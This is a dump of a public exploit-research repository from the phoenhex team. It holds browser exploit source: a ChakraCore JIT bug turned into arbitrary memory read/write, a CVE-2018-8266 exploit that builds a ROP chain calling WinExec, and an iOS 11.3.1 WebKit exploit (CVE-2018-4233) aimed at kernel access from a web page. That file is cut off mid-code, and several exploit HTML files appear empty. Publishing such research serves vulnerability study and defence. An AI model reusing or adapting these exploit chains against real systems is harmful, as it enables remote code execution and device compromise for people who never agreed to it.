├── README.md ├── exploits ├── arrayconcat-infoleak │ └── arrayconcat-infoleak.html ├── cachedcall-uaf.html ├── chakra_adjust │ └── expl.js ├── cve-2018-8266 │ └── cve-2018-8266.js ├── hack2win2018-firefox-infoleak │ └── exploit.html ├── hack2win2018-firefox-rce │ └── exploit.html ├── ios-11.3.1 │ ├── .gitignore │ ├── LICENSE │ ├── Makefile │ ├── NOTES.md │ ├── README.md │ ├── gen_shellcode.py │ ├── index.html │ ├── payload │ │ ├── Makefile │ │ └── payload.dylib │ ├── pwn_i8.js │ └── shellcode.in.s ├── safari-sbx │ ├── DAServer.defs │ ├── DAServer.defs.h │ ├── DAServer.h │ ├── DAServerUser.c │ ├── LICENSE │ ├── Makefile │ ├── README.md │ ├── bundle │ │ ├── Info.plist │ │ └── version.plist │ ├── common.h │ ├── inject_with_log_server.sh │ ├── injector.c │ ├── log_server.py │ ├── proc.h │ ├── progress.py │ ├── restart_ssd.swift │ ├── ssd1.c │ ├── ssd2.c │ ├── webcontent.c │ └── workdir.h ├── share-with-care │ ├── exploit.js │ ├── pwn.html │ ├── utils.js │ └── worker.js └── spread-overflow │ ├── spread-overflow.html │ └── spread-worker.js ├── pocs ├── cve-2018-8629-chakra.js ├── cve-2019-0812-chakra.js ├── cve-2020-0767.js ├── poc-cachedcall-uaf.js ├── poc-mount.sh └── poc-spread.js └── slides ├── attacking-edge-through-js-compiler.pdf ├── chrome_ipc_exploitation_offensivecon19.pdf ├── get_the_spidermonkey_off_your_back.pdf ├── thinking_outside_the_virtualbox.pdf ├── ub_to_rce.pdf └── unboxing_your_virtualboxes.pdf /README.md: -------------------------------------------------------------------------------- 1 | Repository for exploits/POCs/presentation of the [phoenhex team](https://phoenhex.re/) 2 | -------------------------------------------------------------------------------- /exploits/arrayconcat-infoleak/arrayconcat-infoleak.html: -------------------------------------------------------------------------------- 1 |

  2 | 
278 | 


--------------------------------------------------------------------------------
/exploits/cachedcall-uaf.html:
--------------------------------------------------------------------------------
  1 | 
181 | 
182 | 
183 | 


--------------------------------------------------------------------------------
/exploits/chakra_adjust/expl.js:
--------------------------------------------------------------------------------
  1 | // Exploit for commit e149067c8f1a80462ac77d863b9bfb0173d0ced3
  2 | // bug introduced by 8c5332b8eb5663e4ec2636d81175ccf7a0820ff2
  3 | // by bkth 
  4 | 
  5 | var convert = new ArrayBuffer(0x100);
  6 | var u32 = new Uint32Array(convert);
  7 | var f64 = new Float64Array(convert);
  8 | var scratch = new ArrayBuffer(0x100000);
  9 | var scratch_u8 = new Uint8Array(scratch);
 10 | var scratch_u32 = new Uint32Array(scratch);
 11 | var BASE = 0x100000000;
 12 | 
 13 | function hex(x) {
 14 |     return `0x${x.toString(16)}`
 15 | }
 16 | 
 17 | function bytes_to_u64(bytes) {
 18 |     return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
 19 |         +bytes[4]*0x100000000+bytes[5]*0x10000000000);
 20 | }
 21 | 
 22 | function lower(x) {
 23 |     return x & 0xffffffff;
 24 | }
 25 | let lo = lower;
 26 | 
 27 | function higher(x) {
 28 |     return (x - (x % BASE)) / BASE;
 29 | }
 30 | let hi = higher;
 31 | 
 32 | function i2f(x) {
 33 |     u32[0] = x % BASE;
 34 |     u32[1] = (x - (x % BASE)) / BASE;
 35 |     return f64[0];
 36 | }
 37 | 
 38 | function f2i(x) {
 39 |     f64[0] = x;
 40 |     return u32[0] + BASE * u32[1];
 41 | }
 42 | 
 43 | // EXPLOIT
 44 | 
 45 | // this creates an object of a certain size which makes so that its auxSlots is full, adding a property to it will require adjustment
 46 | // First version of the bug was trivial, we just needed 20 regular properties
 47 | // But first patch was easy to bypass by defining an accessor so we just remove 2 properties (accessors take up two slots in the auxSlots buffer)
 48 | function make_obj() {
 49 |     let o = {};
 50 |     o.a1=0x4000;
 51 |     o.a2=0x4000;
 52 |     o.a3=0x4000;
 53 |     o.a4=0x4000;
 54 |     o.a5=0x4000;
 55 |     o.a6=0x4000;
 56 |     o.a7=0x4000;
 57 |     o.a8=0x4000;
 58 |     o.a9=0x4000;
 59 |     o.a10=0x4000;
 60 |     o.a11=0x4000;
 61 |     o.a12=0x4000;
 62 |     o.a13=0x4000;
 63 |     o.a14=0x4000;
 64 |     o.a15=0x4000;
 65 |     o.a16=0x4000;
 66 |     o.a17=0x4000;
 67 |     o.a18=0x4000;
 68 |     //o.a19=0x4000;
 69 |     //o.a20=0x4000;
 70 |     return o;
 71 | }
 72 | 
 73 | let roots = [];
 74 | 
 75 | // our buggy function to trigger the JIT bug
 76 | function opt(o) {
 77 |     o.__defineGetter__("accessor",() => {})
 78 |     o.a2; // set auxSlots as live
 79 |     o.pwn = 0x4000; // clobers vtable
 80 | }
 81 | 
 82 | 
 83 | addrof_idx = -1;
 84 | function setup_addrof(toLeak) {
 85 |     for (var i = 0; i < 1000; i++) {
 86 |         addrof_hax = [1.1];
 87 |         addrof_hax[0x7000] = 0x200000 // create a higher up segment to avoid setting length
 88 |         let o = make_obj();
 89 |         addrof_hax[0x1000] = 1337.36; // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index
 90 |         opt(o);   
 91 |         // now if we triggered the bug, we overwrote the first qword of the segment for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 (tagged integer 0x4000)
 92 |         // if we access 0x4000 and read the marker value we put, then we know it was corrupted
 93 |         if (addrof_hax[0x4000] == 1337.36) {
 94 |             print("[+] corruption done for addrof");
 95 |             break;
 96 |         }
 97 |     }
 98 |     addrof_hax2 = [];
 99 |     addrof_hax2[0x1337]  = toLeak;
100 | 
101 |     // this will be the first qword of the segment of addrof_hax2 which holds the object we want to leak
102 |     marker = 2.1219982213e-314 // 0x100001337;
103 |     
104 | 
105 |     for (let i = 0; i < 0x500; i++) {
106 |         let v = addrof_hax[0x4010 + i];
107 |         if (v == marker) {
108 |             print("[+] Addrof: found marker value");
109 |             addrof_idx = i;         
110 |             return;
111 |         }
112 |     }
113 |     
114 |     setup_addrof();
115 | }
116 | var addrof_setupped = false;
117 | function addrof(toLeak) {
118 |     if (!addrof_setupped) {
119 |         print("[!] Addrof layout not set up");
120 |         setup_addrof(toLeak);
121 |         addrof_setupped = true;
122 |         print("[+] Addrof layout done!!!");
123 |     }  
124 |     addrof_hax2[0x1337] = toLeak
125 |     return f2i(addrof_hax[0x4010 + addrof_idx + 3]);
126 | }
127 | 
128 | // this one is a bit more flaky
129 | // since here we corrupt a JavascriptArray, there is no scanning for marker values and such the index is hardcoded
130 | // in my experiments it works fine though:
131 | // we end up with a layout where we have (=> means followed by in memory)
132 | //  full auxSlots => JavascriptArray that we corrupt => NativeDouble array where we set the addr to which we want a javascript object
133 | //  by corrupting the JavascriptArray we can access oob into the NativeDouble array to fetch an unboxed value, which for the interpreter will mean this is an object
134 | function setup_fakeobj(addr) {
135 |     for (var i = 0; i < 100; i++) {
136 |         fakeobj_hax = [{}];
137 |         fakeobj_hax2 = [addr];
138 |         fakeobj_hax[0x7000] = 0x200000 // create a higher up segment to avoid setting length
139 |         fakeobj_hax2[0x7000] = 1.1;
140 |         let o = make_obj();
141 |         fakeobj_hax[0x1000] = i2f(0x404040404040); // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index 
142 |         fakeobj_hax2[0x3000] = addr;
143 |         fakeobj_hax2[0x3001] = addr;
144 |         fakeobj_hax2[0x3002] = i2f(0x464646);
145 |         opt(o);   
146 |         // now if we triggered the bug, we overwrote the first qword of the segment for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 (tagged integer 0x4000)
147 |         // if we access 0x4000 and read the marker value we put, then we know it was corrupted
148 |         if (fakeobj_hax[0x4000] == i2f(0x404040404040)) {
149 |             print("[+] corruption done for fakeobj");
150 |             break;
151 |         }
152 |     }
153 |     //Math.acos(fakeobj_hax);
154 |     return fakeobj_hax[0x4000 + 20] // access OOB into fabeobj_hax2
155 | }
156 | 
157 | var fakeobj_setuped = false;
158 | function fakeobj(addr) {
159 |     if (!fakeobj_setuped) {
160 |         print("[!] Fakeobj layout not set up");
161 |         setup_fakeobj(addr);
162 |         fakeobj_setuped = true;
163 |         print("[+] Fakeobj layout done!!!");
164 |     }   
165 |     fakeobj_hax2[0x3000] = addr;
166 |     return fakeobj_hax[0x4000 + 20]
167 | }
168 | print("[+] Checking primitives: obj == fakeobj(addrof(obj)) ?")
169 | 
170 | 
171 | let test = {x:0x1337};
172 | let testaddr = addrof(test)
173 | if (fakeobj(i2f(testaddr)) != test) throw "null";
174 | 
175 | print("[+] Primitives are good");
176 | 
177 | 
178 | 
179 | let a = new Array(16);
180 | let b = new Array(16);
181 | 
182 | let addr = addrof(a);
183 | let type = addr + 0x68;
184 | 
185 | // type of Uint64
186 | a[4] = 0x6; 
187 | a[6] = lo(addr); a[7] = hi(addr);
188 | a[8] = lo(addr); a[9] = hi(addr);
189 | 
190 | a[14] = 0x414141;
191 | a[16] = lo(type)
192 | a[17] = hi(type)
193 | 
194 | // object is at a[14]
195 | let fake = fakeobj(i2f(addr + 0x90)) 
196 | let vtable = parseInt(fake);
197 | 
198 | print("[+] vtable pointer " + hex(vtable));
199 | print("[+] Static offset to Uint32Array vtable == 0xe3a8")
200 | 
201 | let uint32_vtable = vtable + 0xe3a8;
202 | print("[+] Uint32Array vtable pointer " + hex(uint32_vtable));
203 | 
204 | // Now here comes the object faking gymnastics
205 | // We need to satisfy a few things to fake a typed array successfully which will give us a rw primitives
206 | // Uint32Array vtable
207 | // fake a type* pointer where we can set the typeID of Uint32TypedArray This is susceptible to change although unlikely, check in EdgeJavascriptTypeId.h
208 | // We use array constructor with small sizes because the data is allocated inline so by calling addrof on these we know where we have controled data
209 | 
210 | 
211 | print("[+] Faking objects ...");
212 | 
213 | 
214 | // Copy pasted from my presentation at SSTIC 2019
215 | 
216 | type = new Array(16);
217 | type[0] = 50; // TypeIds_Uint32Array = 50,
218 | type[1] = 0;
219 | typeAddr = addrof(type) + 0x58;
220 | type[2] = lo(typeAddr); // ScriptContext is fetched and passed during SetItem so just make sure we don't use a bad pointer
221 | type[3] = hi(typeAddr);
222 | 
223 | ab = new ArrayBuffer(0x1338);
224 | abAddr = addrof(ab);
225 | 
226 | fakeObject = new Array(16);
227 | fakeObject[0] = lo(uint32_vtable);
228 | fakeObject[1] = hi(uint32_vtable);
229 | 
230 | fakeObject[2] = lo(typeAddr); 
231 | fakeObject[3] = hi(typeAddr);
232 | 
233 | fakeObject[4] = 0; // zero out auxSlots
234 | fakeObject[5] = 0;
235 | 
236 | fakeObject[6] = 0; // zero out objectArray 
237 | fakeObject[7] = 0;
238 | 
239 | fakeObject[8] = 0x1000;
240 | fakeObject[9] = 0;
241 | 
242 | fakeObject[10] = lo(abAddr); 
243 | fakeObject[11] = hi(abAddr);
244 | 
245 | address = addrof(fakeObject);
246 | 
247 | fakeObjectAddr = address + 0x58;
248 | 
249 | arr = fakeobj(i2f(fakeObjectAddr));
250 | print("[+] Fake typed array " + hex(fakeObjectAddr));
251 | 
252 | 
253 | memory = {
254 |     setup: function(addr) {
255 |         fakeObject[14] = lower(addr); 
256 |         fakeObject[15] = higher(addr);
257 |     },
258 |     write32: function(addr, data) {
259 |         memory.setup(addr);
260 |         arr[0] = data;
261 |     },
262 |     write64: function(addr, data) {
263 |         memory.setup(addr);
264 |         arr[0] = data & 0xffffffff;
265 |         arr[1] = data / 0x100000000;
266 |     },
267 |     read64: function(addr) {
268 |         memory.setup(addr);
269 |         return arr[0] + arr[1] * BASE;
270 |     }
271 | };
272 | 
273 | 
274 | print("[+] Reading at " + hex(address) + " value: " + hex(memory.read64(address)));
275 | 
276 | memory.write32(0x414243444546, 0x1337);


--------------------------------------------------------------------------------
/exploits/cve-2018-8266/cve-2018-8266.js:
--------------------------------------------------------------------------------
  1 | 
  2 | // exploit for commit d1dc14e91fc96130f3fab734c3b5121ba2368e3d
  3 | var convert = new ArrayBuffer(0x100);
  4 | var u32 = new Uint32Array(convert);
  5 | var f64 = new Float64Array(convert);
  6 | 
  7 | var scratch = new ArrayBuffer(0x100000);
  8 | var scratch_u8 = new Uint8Array(scratch);
  9 | var scratch_u32 = new Uint32Array(scratch);
 10 | var BASE = 0x100000000;
 11 | log = print;
 12 | 
 13 | function hex(x) {
 14 |     return `0x${x.toString(16)}`
 15 | }
 16 | 
 17 | function bytes_to_u64(bytes) {
 18 |     return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
 19 |                 +bytes[4]*0x100000000+bytes[5]*0x10000000000);
 20 | }
 21 | 
 22 | function i2f(x) {
 23 |     u32[0] = x % BASE;
 24 |     u32[1] = (x - (x % BASE)) / BASE;
 25 |     return f64[0];
 26 | }
 27 | 
 28 | function f2i(x) {
 29 |     f64[0] = x;
 30 |     return u32[0] + BASE * u32[1];
 31 | }
 32 | 
 33 | // Exploit
 34 | 
 35 | // create an object and set 9 properties to it so that the type handler has records for these offsets
 36 | obj = {}
 37 | obj.a = 13.37;
 38 | obj.b = 1;
 39 | obj.c = 2;
 40 | obj.d = 3;
 41 | obj.e = 4;
 42 | obj.f = 5;
 43 | obj.g = 6;
 44 | obj.h = 7; // this will correspond to the offset of target->buffer
 45 | obj.i = 8;
 46 | 
 47 | target = new ArrayBuffer(0x200);
 48 | newL = 0x1000;
 49 | // victim function which we will JIT
 50 | function opt(o) {
 51 |     var inline = function() {
 52 |         o.b = o.b;
 53 |         o.e = target; // [[ 1 ]]
 54 |     };
 55 |     o.a = "HELLO";
 56 | 
 57 |     for (var i = 0; i < 10000; i++) {
 58 |         inline();    
 59 |         o.a = obj;
 60 |     }
 61 | }
 62 | 
 63 | Math.acos({});
 64 | 
 65 | // Ready to pwn :)
 66 | function pwn() {
 67 |    
 68 |     for (var i = 0; i < 160; i++) {
 69 |         opt({
 70 |             a:1.1,
 71 |             b:2.2,
 72 |             c:3.3,
 73 |         });
 74 |     }
 75 | 
 76 |     opt({
 77 |         a:1.1,
 78 |         b:2.2, 
 79 |         c:3.3,
 80 |         d:4.4, 
 81 |     });
 82 |     // obj->auxSlots is now [[ 1 ]] which is target
 83 | 
 84 |     hax = new ArrayBuffer(0x2000); // create second array buffer variable
 85 |     hax_view = new Uint32Array(hax); // set some marker values to prove we have an arbitrary R/W
 86 |     cmd_view = new Uint8Array(hax);
 87 |     hax_view[0] = 0xdeadbeef;
 88 |     hax_view[1] = 0x13371337
 89 | 
 90 |     obj.h = hax; // set target->buffer to hax
 91 |     obj.i = newL; // update target's length
 92 | 
 93 | 
 94 |     view1 = new Uint32Array(target); // we can use these views to read and write inside hax meta-data
 95 |     view2 = new Float64Array(target);
 96 |     view3 = new Uint8Array(target);
 97 | 
 98 |     log("[+] vtable pointer is " + hex(f2i(view2[0])));
 99 |     
100 |     base = f2i(view2[0]) - 0x586bc8;
101 |     log("[+] chakracore.dll @ " + hex(base));
102 |     buffer_addr = f2i(view2[7]);
103 |     log("[+] ArrayBuffer internal buffer @ " + hex(buffer_addr));
104 |     let cmd = "C:\\Windows\\SysWOW64\\calc.exe";
105 |     for (let i = 0; i < cmd.length; ++i) {
106 |         cmd_view[0x1a00 + i] = cmd.charCodeAt(i);
107 |     }
108 |     cmd_view[0x1a00 + cmd.length] = 0;
109 |     
110 |     let read = function(where) {
111 |         view2[7] = i2f(where); // setup hax->buffer
112 |         tmp = new Float64Array(hax)
113 |         return f2i(tmp[0]); // return (int64) hax->buffer[0]
114 |     }
115 | 
116 |     let write = function(what, where) {
117 |         // same concept as read
118 |         view2[7] = i2f(where); // setup hax->buffer
119 |         tmp = new Uint32Array(hax);
120 |         tmp[0] = what % BASE;
121 |         tmp[1] = what / BASE;
122 |     }
123 |     
124 |     write(0x414141414141, buffer_addr + 40);
125 |     if (read(buffer_addr + 40) !== 0x414141414141) {
126 |         throw null;
127 |     }
128 |     
129 |     // RW primitives are now good to go;
130 | 
131 |     ntdll_addr = read(base + 0x4F0000);    
132 |     ntdll_base = ntdll_addr - 0x4cde0;
133 |     kernel32_base = read(base + 0x4F0000 + 0x48) - 0x15da0;
134 |     winexec_addr = kernel32_base + 0x5f0e0;
135 |     log("[+] ntdll address: " + hex(ntdll_addr));      
136 |     log("[+] ntdll base @ " + hex(ntdll_base));
137 |     log("[+] kernel32 base @ " + hex(kernel32_base));
138 |     log("[+] WinExec @ " + hex(winexec_addr));
139 |     
140 |     threadctx_global_addr = base + (0x7ffeef086728 - 0x7ffeeea40000);
141 |     threadctx = read(threadctx_global_addr);
142 |     log("[+] &thread context @ " + hex(threadctx_global_addr));      
143 |     log("[+] thread context ptr @ " + hex(threadctx));
144 |     stack = read(threadctx + 0xc8) + 0xf0000;
145 |     log("[+] stack limit: " + hex(stack));
146 |     
147 |     //ret_addr = base + 0x4a644b;
148 |     ret_addr = base + 0x4a38f6;
149 |     
150 |     var found = false;
151 |     for (var i = 0; i < 0x10000; i++) { 
152 |         if (read(stack) == ret_addr) {
153 |             log("[+] Found return address on stack");
154 |             found = true;
155 |             break;
156 |         }
157 |         stack += 8;
158 |     }
159 | 
160 |     if (!found) throw null;
161 |        
162 |     jmp_virtual_protect = read(base + 0x4f0160);
163 |     pop_rdi_rsi_rbx = base + 0x112932;
164 |     log("[+] Virtual Protect Gadget @ " + hex(jmp_virtual_protect)); 
165 |     
166 |     let ropchain = function(gadget, ...args) {
167 |         write(gadget, stack);
168 |         stack += 8;
169 |         for (let i = 0; i < args.length; ++i) {
170 |             write(args[i], stack);
171 |             stack += 8;
172 |         }
173 |     }
174 |     jmp_virtual_protect = read(base + 0x4f0160);
175 |     pop_rsp_rbx_rbp = base + 0x5f77a;
176 |     pop_rcx = base + 0x14778;
177 |     pop_rdx = base + 0x1aa375;
178 |     pop_rsp = base + 0xf9764;
179 | 
180 |     ropchain(pop_rsp_rbx_rbp, buffer_addr + 0x1000);
181 |     write(0xdead4141, buffer_addr+0x1000);
182 |     write(buffer_addr + 0x1800, buffer_addr+0x1008);
183 |     
184 |     write(pop_rcx, buffer_addr+0x1010);
185 |     write(buffer_addr + 0x1a00, buffer_addr+0x1018);
186 |     
187 |     write(pop_rdx, buffer_addr+0x1020);
188 |     write(5, buffer_addr+0x1028);
189 |     
190 |     write(winexec_addr, buffer_addr+0x1030);
191 |     write(0xdeadead, buffer_addr+0x1038);
192 |     
193 | }
194 | 
195 | pwn();
196 | 


--------------------------------------------------------------------------------
/exploits/hack2win2018-firefox-infoleak/exploit.html:
--------------------------------------------------------------------------------
 1 | 
88 |  
89 | 
90 | 


--------------------------------------------------------------------------------
/exploits/hack2win2018-firefox-rce/exploit.html:
--------------------------------------------------------------------------------
  1 | 
226 |  
227 | 
228 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/.gitignore:
--------------------------------------------------------------------------------
1 | /shellcode.s
2 | *.bin
3 | *.i64
4 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/LICENSE:
--------------------------------------------------------------------------------
 1 | Copyright (c) 2018, Niklas Baumstark
 2 | All rights reserved.
 3 | 
 4 | Redistribution and use in source and binary forms, with or without
 5 | modification, are permitted provided that the following conditions are met:
 6 | 
 7 | 1. Redistributions of source code must retain the above copyright notice, this
 8 |    list of conditions and the following disclaimer.
 9 | 2. Redistributions in binary form must reproduce the above copyright notice,
10 |    this list of conditions and the following disclaimer in the documentation
11 |    and/or other materials provided with the distribution.
12 | 
13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
14 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
15 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
17 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
18 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
19 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
20 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
21 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
22 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
23 | 
24 | The views and conclusions contained in the software and documentation are those
25 | of the authors and should not be interpreted as representing official policies,
26 | either expressed or implied, of the FreeBSD Project.
27 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/Makefile:
--------------------------------------------------------------------------------
 1 | .PHONY: payload/payload.dylib
 2 | 
 3 | shellcode.bin: shellcode.s payload/payload.dylib Makefile
 4 | 	#aarch64-linux-gnu-as -EL -o shellcode.o shellcode.s
 5 | 	#aarch64-linux-gnu-objcopy -O binary shellcode.o shellcode.bin
 6 | 	as -arch arm64 shellcode.s -o shellcode.o
 7 | 	gobjcopy -Obinary shellcode.o shellcode.bin
 8 | 	rm shellcode.o
 9 | 	dd if=/dev/zero of=shellcode.bin bs=1 count=1 seek=4095
10 | 	cat payload/payload.dylib >> shellcode.bin
11 | 
12 | shellcode.s: shellcode.in.s payload/payload.dylib Makefile
13 | 	python2 gen_shellcode.py
14 | 
15 | payload/payload.dylib:
16 | 	cd payload && make
17 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/NOTES.md:
--------------------------------------------------------------------------------
 1 | There are at least two major architectural differences between software and hardware versions affected by this WebKit bug (it's quite old, probably iOS 10 and 11 at least):
 2 | 
 3 | 
 4 | 1. Gigacage mitigations: Before the introduction of Gigacage, the exploit would
 5 | 	 have been entirely vanilla: The bug trivially provides `addrof`/`fakeobj`
 6 | 	 primitives, and thus we could have used the standard `JSObject` misalignment
 7 | 	 technique from http://phrack.org/papers/attacking_javascript_engines.html
 8 | 	 (section 6.2) to forge a Float64Array and gain arbitrary R/W directly. This
 9 | 	 does not work anymore with Gigacage, hence we use a slightly different
10 | 	 fake object. But on older software it might be advisable to fall back to 
11 |          saelo's technique.
12 | 2. Spectre mitigations: Introduced sometime towards the beginning of 2018, they
13 | 	 add certain fields to JSObjects and might influence some of the offsets that
14 | 	 the exploit uses, for example `var fake_addr = stage1.addrof(outer) + 0x20`
15 | 	 will probably be `+ 0x18` on some older versions. Also, the structure spray at 
16 | 	 https://github.com/phoenhex/files/blob/master/exploits/ios-11.3.1/pwn_i8.js#L109 
17 | 	 is designed to place a large value right before the monitor object (as a fake `vectorLength`), 
18 | 	 but with smaller `sizeof(JSObject)`, the number of inline properties might have to be 
19 | 	 increased/decresed by one here.
20 | 3. JIT hardening: iPhone 8/X use a new JIT mitigation using
21 | 	 `os_thread_self_restrict_rwx_to_{rw,rx}` (see ExecutableAllocator.{h,cpp} in
22 | 	 WebKit). The WebKit exploit as well as the Mach-O loader assume
23 | 	 that this is the JIT hardening used. However, other devices, even on 11.3.1
24 | 	 probably use the old JIT hardening as described in https://www.youtube.com/watch?time_continue=200&v=BLGFriOKz6U. 
25 |    The exploit would probably notice this on 11.3.1 because `useFastPermisionsJITCopy` 
26 |    is 0 in this case. If that's the case, we can use `jitWriteSeparateHeapsFunction` to 
27 |    achieve the same memcpy primitive that we currently use `performJITMemcpy` for.
28 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/README.md:
--------------------------------------------------------------------------------
 1 | # !!! NOT USEFUL FOR END USERS !!!
 2 | 
 3 | THIS IS ONLY INTERESTING FOR DEVELOPERS, EXPECT NO SUPPORT IN ANY SHAPE OR FORM!
 4 | 
 5 | This exploit obtains tfp0 from the WebContent sandbox (i.e. from a website), via two known bugs: CVE-2018-4233 (discovered by saelo, reported via ZDI, exploit by niklasb) and CVE-2018-4243 (empty_list exploit by Ian Beer), both fixed in 11.4.
 6 | 
 7 | See pwn_i8.js for details.
 8 | 
 9 | I have no plans to work on this more. Stage 2 is closed source for now so people don't write malware, but I'm willing to provide sources to legitimate developers who want to build something awesome with it.
10 | 
11 | Works best when no other apps are running in the background and phone is left alone for a while before clicking on the final alert. Watch console for stage 2 progress.
12 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/gen_shellcode.py:
--------------------------------------------------------------------------------
1 | from subprocess import check_output
2 | 
3 | loader_offset = int(check_output('nm -g payload/payload.dylib | grep "T _load"',
4 |         shell=True).split()[0], 16)
5 | inp = open('shellcode.in.s').read()
6 | outp = inp.replace('OFFSET_LOAD', hex(loader_offset))
7 | with open('shellcode.s', 'w') as f:
8 |     f.write(outp)
9 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/index.html:
--------------------------------------------------------------------------------
1 | 
2 | 
3 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/payload/Makefile:
--------------------------------------------------------------------------------
1 | payload.dylib:
2 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/payload/payload.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/phoenhex/files/a69214c126c7635b5d0d687fcd57d36f80c43021/exploits/ios-11.3.1/payload/payload.dylib


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/pwn_i8.js:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Exploit by @_niklasb from phoenhex.
  3 |  *
  4 |  * This exploit uses CVE-2018-4233 (by saelo) to get RCE in WebContent.
  5 |  * The second stage is currently Ian Beer's empty_list kernel exploit,
  6 |  * adapted to use getattrlist() instead of fgetattrlist().
  7 |  *
  8 |  * Thanks to qwerty for some Mach-O tricks.
  9 |  *
 10 |  * Offsets hardcoded for iPhone 8, iOS 11.3.1.
 11 |  */
 12 | print = alert
 13 | ITERS = 10000
 14 | ALLOCS = 1000
 15 | 
 16 | var conversion_buffer = new ArrayBuffer(8)
 17 | var f64 = new Float64Array(conversion_buffer)
 18 | var i32 = new Uint32Array(conversion_buffer)
 19 | 
 20 | var BASE32 = 0x100000000
 21 | function f2i(f) {
 22 |     f64[0] = f
 23 |     return i32[0] + BASE32 * i32[1]
 24 | }
 25 | 
 26 | function i2f(i) {
 27 |     i32[0] = i % BASE32
 28 |     i32[1] = i / BASE32
 29 |     return f64[0]
 30 | }
 31 | 
 32 | function hex(x) {
 33 |     if (x < 0)
 34 |         return `-${hex(-x)}`
 35 |     return `0x${x.toString(16)}`
 36 | }
 37 | 
 38 | function xor(a, b) {
 39 |     var res = 0, base = 1
 40 |     for (var i = 0; i < 64; ++i) {
 41 |         res += base * ((a&1) ^ (b&1))
 42 |         a = (a-(a&1))/2
 43 |         b = (b-(b&1))/2
 44 |         base *= 2
 45 |     }
 46 |     return res
 47 | }
 48 | 
 49 | function fail(x) {
 50 |     print('FAIL ' + x)
 51 |     throw null
 52 | }
 53 | 
 54 | counter = 0
 55 | 
 56 | // CVE-2018-4233
 57 | function trigger(constr, modify, res, val) {
 58 |     return eval(`
 59 |     var o = [13.37]
 60 |     var Constructor${counter} = function(o) { ${constr} }
 61 | 
 62 |     var hack = false
 63 | 
 64 |     var Wrapper = new Proxy(Constructor${counter}, {
 65 |         get: function() {
 66 |             if (hack) {
 67 |                 ${modify}
 68 |             }
 69 |         }
 70 |     })
 71 | 
 72 |     for (var i = 0; i < ITERS; ++i)
 73 |         new Wrapper(o)
 74 | 
 75 |     hack = true
 76 |     var bar = new Wrapper(o)
 77 |     ${res}
 78 |     `)
 79 | }
 80 | 
 81 | var workbuf = new ArrayBuffer(0x1000000)
 82 | var u32_buffer = new Uint32Array(workbuf)
 83 | var u8_buffer = new Uint8Array(workbuf)
 84 | var shellcode_length
 85 | 
 86 | function pwn() {
 87 |     var stage1 = {
 88 |         addrof: function(victim) {
 89 |             return f2i(trigger('this.result = o[0]', 'o[0] = val', 'bar.result', victim))
 90 |         },
 91 | 
 92 |         fakeobj: function(addr) {
 93 |             return trigger('o[0] = val', 'o[0] = {}', 'o[0]', i2f(addr))
 94 |         },
 95 | 
 96 |         test: function() {
 97 |             var addr = this.addrof({a: 0x1337})
 98 |             var x = this.fakeobj(addr)
 99 |             if (x.a != 0x1337) {
100 |                 fail(1)
101 |             }
102 |         },
103 |     }
104 | 
105 |     // Sanity check
106 |     stage1.test()
107 | 
108 |     var structure_spray = []
109 |     for (var i = 0; i < 1000; ++i) {
110 |         var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}
111 |         ary['prop'+i] = 1
112 |         structure_spray.push(ary)
113 |     }
114 | 
115 |     var manager = structure_spray[500]
116 |     var leak_addr = stage1.addrof(manager)
117 |     //print('leaking from: '+ hex(leak_addr))
118 | 
119 |     function alloc_above_manager(expr) {
120 |         var res
121 |         do {
122 |             for (var i = 0; i < ALLOCS; ++i) {
123 |                 structure_spray.push(eval(expr))
124 |             }
125 |             res = eval(expr)
126 |         } while (stage1.addrof(res) < leak_addr)
127 |         return res
128 |     }
129 | 
130 |     var unboxed_size = 100
131 | 
132 |     var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']')
133 |     var boxed = alloc_above_manager('[{}]')
134 |     var victim = alloc_above_manager('[]')
135 | 
136 |     // Will be stored out-of-line at butterfly - 0x10
137 |     victim.p0 = 0x1337
138 |     function victim_write(val) {
139 |         victim.p0 = val
140 |     }
141 |     function victim_read() {
142 |         return victim.p0
143 |     }
144 | 
145 |     i32[0] = 0x200                // Structure ID
146 |     i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing
147 |     var outer = {
148 |         p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned
149 |         p1: f64[0],
150 |         p2: manager,
151 |         p3: 0xfffffff, // Butterfly indexing mask
152 |     }
153 | 
